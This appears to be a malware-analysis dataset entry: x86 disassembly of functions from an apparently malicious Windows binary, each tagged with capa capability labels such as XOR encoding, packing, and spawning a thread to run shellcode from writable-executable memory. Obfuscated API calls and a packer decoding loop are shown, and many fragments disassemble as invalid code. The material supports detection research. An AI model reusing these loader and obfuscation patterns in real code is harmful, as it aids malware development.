joyce8/EMBER2024-capa huggingface dataset:
Function at 0xec8274
Capabilities:
Encrypt data using curve25519

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
push 0x20
push dword [ebp + 0xc]
lea eax, [ebp - 0x20]
push eax
call fcn.00ec3c80
mov al, byte [ebp - 1]
push dword [ebp + 0x10]
and byte [ebp - 0x20], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 1], al
lea eax, [ebp - 0x70]
push eax
call fcn.00ec85d0
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x118]
push eax
call fcn.00ec7c96
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00ec7ea5
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xc8]
push eax
call fcn.00ec8aea
lea eax, [ebp - 0xc8]
push eax
push dword [ebp + 8]
call fcn.00ec82ff
add esp, 0x40
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0xec96a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 0xc]
neg ebx
push edi
mov edi, dword [ebp + 8]
sub edi, esi
mov dword [ebp + 0x14], 0xa
mov eax, dword [edi + esi]
mov ecx, dword [esi]
xor ecx, eax
and ecx, ebx
xor eax, ecx
cdq
mov dword [edi + esi], eax
mov dword [edi + esi + 4], edx
mov eax, dword [esi]
xor eax, ecx
sub dword [ebp + 0x14], 1
cdq
mov dword [esi], eax
lea esi, [esi + 8]
mov dword [esi - 4], edx
jne 0xec96c2
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0xec96ed
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcc
cmp dword [ebp + 8], 0
push ebx
push esi
push edi
je 0xec981f
mov ebx, dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
test ebx, ebx
jne 0xec9715
test edi, edi
jne 0xec981f
mov esi, dword [ebp + 0x18]
mov eax, 0xc8
cmp esi, eax
jae 0xec981f
push eax
lea eax, [ebp - 0xcc]
push 0
push eax
call fcn.00ec3ca5
add esp, 0xc
cmp edi, esi
jb 0xec9781
mov eax, ebx
lea ecx, [ebp - 0xcc]
sub eax, ecx
mov dword [ebp - 4], eax
xor edx, edx
test esi, esi
je 0xec9766
mov edi, dword [ebp - 4]
lea ecx, [ebp - 0xcc]
add ecx, edx
mov al, byte [edi + ecx]
xor byte [ecx], al
inc edx
cmp edx, esi
jb 0xec9751
mov edi, dword [ebp + 0x14]
lea eax, [ebp - 0xcc]
push eax
call fcn.00ec9829
add dword [ebp - 4], esi
sub edi, esi
add ebx, esi
mov dword [ebp + 0x14], edi
pop ecx
cmp edi, esi
jae 0xec9748
mov al, byte [ebp + 0x1c]
xor byte [ebp + edi - 0xcc], al
xor byte [ebp + esi - 0xcd], 0x80
test edi, edi
je 0xec97b3
lea eax, [ebp - 0xcc]
sub ebx, eax
xor edx, edx
lea ecx, [ebp - 0xcc]
add ecx, edx
mov al, byte [ebx + ecx]
xor byte [ecx], al
inc edx
cmp edx, edi
jb 0xec97a1
lea eax, [ebp - 0xcc]
push eax
call fcn.00ec9829
mov edi, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
pop ecx
cmp edi, esi
jb 0xec97f7
test esi, esi
je 0xec97df
push esi
lea ecx, [ebp - 0xcc]
push ecx
push eax
call fcn.00ec3c80
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
call fcn.00ec9829
mov eax, dword [ebp + 8]
add eax, esi
sub edi, esi
mov dword [ebp + 8], eax
jmp 0xec97c5
test edi, edi
je 0xec980c
push edi
lea edx, [ebp - 0xcc]
push edx
push eax
call fcn.00ec3c80
add esp, 0xc
xor al, al
lea edi, [ebp - 0xcc]
mov ecx, 0xc8
rep stosb byte es:[edi], al
xor eax, eax
jmp 0xec9822
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43200c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40729f
sub eax, 0x407245
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x432030
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
nop
cmp dword [eax], 0
jne 0x43201e
nop
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x401017
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
stc
add byte [eax + 0x46850f01], ch
jge 0x401034
add byte [0x428376], bh
push ecx
or al, 0x73
push ecx
inc ebp
sub dword [esi], 0x76
add dword [eax - 0x3e], ecx
je 0x406160
lock cmpxchg dword [ecx], edx
mov ebx, dword [edx + 0x77]
test dword [ebx], edi
das
ja 0x400ffe
pushfd
sti
nop
clc
nop
mov edi, edi
js 0x40105a
Function at 0x40212c
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
inc eax
pop edi
mov eax, dword [edi + 0x6c]
nop
pop ebp
adc byte [ebp + 0x2b10246c], cl
mov ebp, esp
sbb al, 0x57
add byte [ebx - 0x7bf00908], al
fistp dword [ecx + 0x77]
ja 0x40216f
cmp eax, dword [ebx]
lodsd eax, dword [esi]
mov dword gs:[0x2260775c], eax
add eax, 0xf907757
je 0x40872d
mov word [eax], es
pushfd
add byte [ebp - 0x3e], bl
movsd dword es:[edi], dword [esi]
cmp ecx, ebx
push edi
nop
inc ebp
sub ebx, dword [ecx + 0x77]
and al, 0x57
adc cl, ch
xor cl, byte [ebx + 0x8c87]
lea eax, [edi + 0x78]
mov word [ecx + ebx*2 + 0x62e85e77], gs
add dword [eax], eax
add byte [esi - 0x75], dl
or byte [edx], bl
mov ecx, dword [esi + 4]
jge 0x4021c5
call fcn.00401017
pop esi
pushfd
jbe 0x40210e
out dx, al
invalid
fistp word [eax + ebx*2 + 0x597d6e77]
pop eax
ja 0x4021ea
jge 0x4021d7
mov word [edx + 0x58], gs
rol byte [eax], 0
mov dword [ebp - 0x24], 0x20
inc eax
jae 0x402179
add bh, dh
nop
jne 0x40219f
fmul qword [ecx + 0x7589d075]
nop
add eax, 0x90909090
jl 0x40221f
int 0x51
cmp ecx, dword [0x411adc]
add eax, 0x8904538b
cmp dword [edx - 0x602489d1], esp
add byte [eax + 0x18], ch
and al, 0x1a
jbe 0x402242
cmp eax, 0x558b5308

Function at 0x402a47
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
nop
mov ebp, esp
xor ebx, dword [edx - 0x642e88a4]
add byte [eax], al
mov eax, dword [ebp - 0xb4]
nop
xor eax, ebp
jne 0x402a5e
or al, 0x90
nop
fst qword [edi + 0x77]
mov dword [ebp - 0xb0], edx
adc byte [esi], ch
push eax
invalid
jne 0x402a58
lds ebx, [edi + 0x77]
mov dl, ah
xor byte [esi], dh
push 0x662c4689
push esi
mov bh, 0x2d
nop
add byte [ebx - 0x3fccffda], al
imul ebp, dword [edx], 0x33c17630
sub dword [ecx], ecx
nop
lea eax, [ebp - 0x94]
ja 0x402afd
ja 0x402abd
neg eax
inc ebx
sub eax, 0x2e83fc76
mov edi, edi
jbe 0x402a65
pop eax
mov ebp, esp
pushal
jbe 0x402a3c
nop
sub eax, 0x5f762fda
jbe 0x402a51
das
ja 0x402abe
mov ecx, 0
invalid
invalid
or eax, 0x9090761a
Function at 0x403b0c
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
pop eax
and eax, 0x761a08c8
mov edx, dword [esp + 8]
and eax, 0x761a0d30
nop
xor eax, eax
cmp edx, ecx
test byte [edi], al
adc al, 0
nop
pop ebx
clc
rol byte [eax], cl
mov bh, 4
nop
sbb al, byte [ecx + 0x56fc4077]
sbb bl, byte [edx + 0x77]
and al, 0xb
nop
pop ebp
add byte [eax - 0x6f6f6f70], dl
pop ebp
je 0x4021fb
hlt

Function at 0x4047b9
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
or ebx, dword [edx]
mov dh, ah
jbe 0x404807
mov ecx, 0xf4827758
mov bh, 0xc3
nop
sub ebx, dword [ecx + 0x77]
int3

Function at 0x404b28
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
push esp
pop ebp
sub esp, 0x47c
cmp esp, 0
jne fcn.00404dd8
jmp 0x404b4b
push 0x21b38f5e
pushfd
add dword [esp + 4], 0xde4c70a2
popfd
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp fcn.00404b66
Function at 0x404dd8
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push 0x2bd60857
pushfd
add dword [esp + 4], 0xd429f7a9
popfd
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x404df7
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp - 0x28]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x28]
jmp 0x404e10
push dword [eax + edx + 0x28]
add ecx, 0xf11f09c7
sub dword [esp], 0xf11f09c7
add ecx, dword [esp]
mov dword [esp], ecx
pop ecx
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], edx
jmp 0x404e34
mov eax, dword [ebp - 0x2c]
movzx ecx, word [eax]
cmp ecx, 0x15ff
je 0x404e4d
mov edx, dword [ebp - 0x2c]
add edx, 1
mov dword [ebp - 0x2c], edx
jmp 0x404e34
mov eax, dword [ebp - 0x2c]
add eax, 6
mov dword [ebp - 0x2c], eax
jmp 0x404e63
lea ecx, [ebp - 0x38]
jmp 0x404e6a
mov dword [ebp - 0x60], ecx
jmp 0x404e73
lea edx, [ebp - 0x38]
jmp 0x404e81
mov dword [ebp - 0x20], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov dword [ebp - 0x24], eax
jmp 0x404e92
mov dword [ebp - 0xb4], 0
jmp 0x404eae
cmp dword [ebp - 0xb4], 0xa
jae 0x4075c9
jmp 0x404ebf
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
jmp 0x404ee8
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x48], eax
push dword [ebp - 0x48]
pop ecx
mov dword [ebp - 0x58], ecx
push dword [ebp - 0x58]
pop edx
mov dword [ebp - 0x5c], edx
mov dword [ebp - 0x10], 0xc61b813f
pushfd
add dword [ebp - 0x10], 0x39e47ec1
popfd
mov dword [ebp - 0xc], 0xd412c6a
pushfd
add dword [ebp - 0xc], 0xf2bed396
popfd
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x50], eax
jmp 0x404f2a
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x4c], ecx
push 0
push 0
lea edx, [ebp - 0x60]
jmp 0x404f3a
push edx
mov eax, dword [ebp - 0x2c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x404f50
mov dword [ebp - 0xbc], eax
push 0x14fabbda
pushfd
add dword [esp + 4], 0xeb054426
popfd
push 0x261b0338
pushfd
add dword [esp + 4], 0xd9e4fcc8
popfd
lea ecx, [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x2c]
push edx
jmp 0x404f83
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xb8], eax
jmp fcn.00404f9b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4050a9
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Terminate process

Disassembly:
push dword [eax + 0x3c]
add ecx, 0x767db910
sub dword [esp], 0x767db910
add ecx, dword [esp]
mov dword [esp], ecx
pop ecx
mov dword [ebp - 0xf0], ecx
mov edx, dword [ebp - 0xf0]
movzx eax, word [edx + 0x14]
push dword [ebp - 0xf0]
pop ecx
lea edx, [ecx + eax + 0x18]
jmp 0x4050e0
mov dword [ebp - 0xf4], edx
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax + 0x5c]
mov edx, dword [ebp - 0xc4]
lea eax, [edx + ecx + 0x194]
mov dword [ebp - 0xf8], eax
mov ecx, dword [ebp - 0xf4]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx + 0x5c]
mov dword [ebp - 0xd4], edx
jmp 0x405123
mov eax, dword [ebp - 0xf4]
mov ecx, dword [eax + 0x60]
add ecx, 1
push ecx
push 0x5ab5f9f7
pushfd
add dword [esp + 4], 0xa54a0611
popfd
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x40514f
mov dword [ebp - 0xcc], eax
push dword [ebp - 0xf4]
pop edx
mov eax, dword [edx + 0x60]
sub eax, 0x194
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x120], 0
jmp 0x40518e
mov ecx, dword [ebp - 0x120]
push edi
mov edi, ecx
add edi, 1
mov ecx, edi
pop edi
mov dword [ebp - 0x120], ecx
jmp 0x40518e
mov edx, dword [ebp - 0x120]
cmp edx, dword [ebp - 0x124]
jae 0x4051c3
mov eax, dword [ebp - 0xcc]
add eax, dword [ebp - 0x120]
push dword [ebp - 0xf8]
pop ecx
add ecx, dword [ebp - 0x120]
mov dl, byte [ecx]
jmp 0x4051bf
mov byte [eax], dl
jmp 0x405176
mov eax, dword [ebp - 0xd4]
jmp fcn.004051ce
Function at 0x405671
Capabilities:
Execute shellcode via indirect call
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
jmp 0x40567a
xor eax, eax
push dword [ebp - 0x168]
pop ecx
mov word [ecx + 8], ax
xor edx, edx
push dword [ebp - 0x168]
pop eax
mov word [eax + 6], dx
mov ecx, dword [ebp - 0x168]
add ecx, 0x10
mov dword [ebp - 0x168], ecx
mov edx, dword [ebp - 0x168]
mov ax, word [ebp - 0x170]
mov word [edx + 6], ax
jmp 0x4056ba
mov ecx, dword [ebp - 0x168]
jmp 0x4056c4
mov dx, word [ebp - 0x170]
jmp 0x4056cf
mov word [ecx + 4], dx
push dword [ebp - 0x168]
pop eax
mov cx, word [ebp - 0x170]
mov word [eax + 2], cx
jmp 0x4056ed
mov edx, dword [ebp - 0x168]
mov ax, word [ebp - 0x170]
jmp 0x405704

Function at 0x405890
Capabilities:
Execute shellcode via indirect call
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Terminate process

Disassembly:
jmp 0x40589b
push eax
jmp 0x4058a4
lea ecx, [ebp - 0x12c]
push ecx
push 4
mov edx, dword [ebp - 0x174]
push edx
jmp 0x4058ba
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jmp 0x4058c6
jne 0x4058d4
jmp 0x405974
cmp dword [ebp - 0x12c], 0
jmp 0x4058e1
jne 0x4058ed
jmp 0x405974
push dword [ebp - 0x12c]
pop eax
push eax
push 0x391509cc
pushfd
add dword [esp + 4], 0xc6eaf634
popfd
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
jmp 0x405921
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jne 0x405932
jmp 0x405974
push 0
lea ecx, [ebp - 0x12c]
push ecx
mov edx, dword [ebp - 0x130]
push edx
push 2
mov eax, dword [ebp - 0x174]
push eax
jmp 0x40594f
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jmp 0x405964
jne 0x405968
jmp 0x405974
xor ecx, ecx
jne 0x40579f
jmp 0x405974

Function at 0x4071b4
Capabilities:
Terminate process

Disassembly:
push dword [ebp - 0x454]
pop eax
push edx
mov edx, eax
add edx, 1
mov eax, edx
pop edx
mov dword [ebp - 0x454], eax
jmp 0x40719f
add ecx, 0xf62f4187
sub dword [esp], 0xf62f4187
add ecx, dword [esp]
mov dword [esp], ecx
pop ecx
push dword [ebp - 0x448]
pop edx
push dword [ebp - 0x454]
add edx, 0xe5c3089
sub dword [esp], 0xe5c3089
add edx, dword [esp]
mov dword [esp], edx
pop edx
mov al, byte [edx]
jmp 0x4071f6
mov byte [ecx], al
jmp 0x4071fd
jmp 0x40717f

Function at 0x4076e1
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
ret 0x9f90
sbb dh, byte [esi - 0x70]
add eax, 0xdc762de5
add byte [eax], al
push ecx
mov edi, edi
test byte [ecx + edx*2 + 0x503d0002], al
jne 0x4076cb
inc ebp
sub eax, 0x57228f76
adc byte [ebx - 0x7bf0fc08], al
sbb dh, byte [esi - 0x70]
invalid
Function at 0x407b1f
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
test al, 2
jne 0xecb7b35
mov eax, dword [ebp + 8]
push esi
jbe 0x407ab1
jbe 0x407acb

Function at 0x407b23
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
sub al, 4
shr byte [0x419a3d], 0x76
add byte [ebx + 0x458d0ce7], al
add byte [eax], al
sbb dh, byte [esi - 0x70]
jbe 0x407b48
test ah, al

Function at 0x407b83
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
nop
nop
nop
nop
or dword [edi], ebp
pop edx
sub eax, 0x2d8c6776
jbe 0x407b18
lcall 0x10bf, 0x16a0000
invalid

Function at 0x407bf0
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
add al, 9
push es
les eax, [edi]
sub esp, 0x1c
and eax, 0x761a0dc0
add al, 0xb
cmp al, 0x59
cmc
sbb dword [edi + esi*2 - 0x40], ebx
sbb al, 0x76
mov eax, 0xef775701
nop
mov esp, 0xaf775709
or al, 0x85
sbb bh, bh
clc
or dword [eax], eax
das
inc eax
add eax, ecx
mov dword [edi], eax
test byte [edx + esi*4 + 1], cl
je 0x407f97
cmp edx, dword [ebx]
xor byte [esi + 0x22], dh
nop
nop
jbe 0x407c02
pop eax
or al, ch
dec edx
adc byte [ecx - 0x7c403bb], cl
pop esp
ja 0x407c8c
rol byte [eax], cl
sbb eax, 0xff688d39
cld
cmp eax, 0x80000050
jbe 0x407c9e
mov edi, edi
push ebp
mov ch, bh
add byte [0x423008], al
call fcn.00405671
adc eax, 0xaa762db5
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0x1c]
dec esp
nop
mov eax, dword [edi + 0x6c]
nop
leave
add byte [eax], al
lea esp, [edi + edi*8 - 1]
sub al, 0
or eax, 0xf000252
mov dword [eax], ecx
sar byte [eax + 0x38], 0x8b
add al, ch
add eax, 0x9d5762e
xor bl, byte [ecx + 0x77]
cmp eax, 0x80000004
fstp qword [edi + 0x77]
mov eax, dword [0x18]
pop ecx
ja 0x407ccc
add al, 0
add byte [eax - 0x5e88a023], al
sbb byte [eax], al
add byte [eax], al
mov eax, dword [ebp - 8]
add dword [eax], eax
add dl, al
loopne 0x407cfa
das
nop
mov ebp, dword [0x41ba5e]
push eax
dec ebp
invalid
invalid
hlt
les eax, [edx]
or ebx, dword [edx]
pushfd
jbe fcn.00407fa1
push 0x44
Function at 0x407f60
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
add esp, 4
lea esi, [eax + 0x24]
sub bh, byte [ecx + 0xc00252d]
sbb dh, byte [esi + 0x76]
nop
add eax, 0x90909090
push esi
adc byte [ebx - 0x747a88a8], al
nop
jbe 0x407fa9
ja 0x407f07
jbe 0x407ef4
shl dword [esi], 1
ret

Function at 0x407fa1
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
add al, byte [eax]
jecxz 0x407fd2
cld
sbb dh, byte [esi - 0x75]
add byte [0x418592], bh
nop
inc eax
cmp eax, 0x80000050
sub eax, 0x2e5f5176
inc ebp
or edx, edx
add byte [ebx], bh
jbe 0x407fec
cmp esi, 0xfffffff6
jbe 0x407fc5
fdivr dword [edi - 0x33]
jne 0x407fec
ja 0x40800e
ja 0x40801e
add dword [edi], ecx
mov edi, edi
test dword [edx + 0xb], ebp
pop esp
and al, 0xee
jbe 0x407ff5
or ecx, edx
wait
pop esp
ja 0x407ff5
mov eax, 0x35901785
sbb byte [ebx], al
jbe 0x407fe8
Function at 0x408eb1
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Parse pe header
Resolve function by parsing pe exports
Spawn thread to rwx shellcode
Terminate process

Disassembly:
aad 0xb1
dec eax
ret 0x28c2
jge 0x408d57
or dword [edx], ebx
sub dword [eax + 0x2d], edi
sub eax, 0x2de60476
out 0x2d, al
test dword [edx - 0x74fffe4b], ebp
mov esi, 0x6f762e2b
add byte [ebx + 0x762e2bbe], cl
outsd dx, dword [esi]
nop
nop
pop ecx
mov edi, edi
ja 0x408d4d
or al, 0
sub esp, 0x24
mov ecx, dword [ebp - 0x24]
and eax, 0x761a0b08
jmp 0x408dd0
dec ebp
loopne 0x408de3
das
or byte [ebx - 0x7bf00b02], al
nop
dec edx
jbe 0x408d39
or al, 0x68
and al, 4
ja 0x408d31
jmp 0x408dda
jbe 0x408d5d
jbe 0x408d6d
push ecx
adc byte [esi], ch
cmp byte [edi], ch
das
pushfd
jne 0x408df0
push esp
pop ebp
add byte [eax], al
add byte [ebx - 0x23ba76ff], cl
push eax
nop
test eax, eax
jbe 0x408d9b
add al, bl
nop
nop
ja 0x408da6
clc
add byte [ecx + 0x7d89e47d], cl
mov ebp, 0xffffff68
mov dword [ebp - 0x1c], edi
mov dword [ebp - 0x43], edi
push 0x8bffffff
rcr dword [ebp + 0x5a], 1
mov edx, ecx
pop ebp
pop edx
invalid
ja 0x408dd5
ja 0x408e37
dec esi
add byte [eax], al
inc eax
push edi
cmp edi, ebx
mov bh, 0x2b
invalid
call [ebp + 0x48]
inc ebp
pop ss
wait
jge 0x408e8f
mov edi, edi
jbe 0x408dcb
nop
hlt
nop
nop
jb 0x408e9d
push ebp
jecxz 0x408e97
add byte [ecx], 0
nop
push ecx
add byte [eax], al
fldcw word [0x41a4ec]
add cl, ch
jb 0x408eb2
mov dword [eax + 0x10], ecx
or al, 0x1a
push eax
push ds
or byte [edi + ecx], al
sub eax, 0x2dd28076
ja 0x408e2f
jbe 0x408ee0
jb 0x408dfa
mov edi, edi
sbb dh, byte [esi - 0x70]
call [edx]
jbe 0x408e03
cmp edx, 3
add byte [eax], al
nop
nop
push ebp
and eax, 0x761a0740
push ds
or dword [edi], ebp
nop
nop
sbb dh, byte [esi - 0x70]
imul esp, edx, 2
sbb dh, byte [esi + 0x57]
sub eax, dword [eax + ebx*2 + 0x5a1b0577]
pop edi
sub eax, 0x2dfe4276
add dh, dh
test byte [eax + 0x77], bl
add eax, 0x2d5f5a1b
jbe 0x408edb
invalid
mov ah, 6
jmp 0x408e4a
ja 0x408e4b
cwde
jbe 0x408e40
call 0x403171
xor dword [edi], ebp
je 0x408ebf
or byte [ecx + 0x7d8bc445], cl
and eax, 0x761a0738
ja 0x408e6d
mov dword [ebp - 0x3c], eax
mov edi, dword [ebp + 0x25]
cmp byte [edi], al
sbb dh, byte [esi + 0x77]
mov byte [0x90900000], al
add byte [eax], al
nop
nop
mov edx, 0xd3762f1e
dec esi
add byte [eax], al
ja 0x408e59
dec byte [edx + 2]
push edi
add dl, byte [edi - 0x70]
fmul dword [ecx]
sbb dh, byte [esi + 0x5b]
Function at 0x40938e
Capabilities:
Execute shellcode via indirect call
Get disk information
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt
Resolve function by parsing pe exports
Terminate process

Disassembly:
mov ebp, esp
dec esi
push ebp
loopne 0x4093eb
jbe 0x40931c
sub eax, 0x57228f76
sar byte [edi + 0x5c], 1
jmp fcn.004051ce
sub byte [eax - 0x460488a1], bh
pop edi
ja 0x4093c0
mov ecx, 0x5b13050e
ja 0x40940b
push cs
add eax, 0x3f775b13
sub eax, 0x2e133b76
ja 0x40936f
add byte [eax], al
mov eax, dword [ebx + 8]
cld
nop
nop
add dh, bh
mov word [eax], es
rol byte [eax], cl
jbe 0x4093e7
sti
cmp eax, 0xfffffff4
add dword [eax], eax
sbb dh, byte [esi - 0x70]
nop
add byte [esi + 0x68], dl
ror byte [ecx], 0x1a
add byte [eax - 0x3d587bf1], al
mov eax, dword [ebp + 8]
mov eax, 0x97762eb2
nop
mov ebp, esp
imul esp, edx, 2
call 0x4093df
add eax, dword [eax]
ja 0x4093c2
pop edx
xor al, 0x89
int3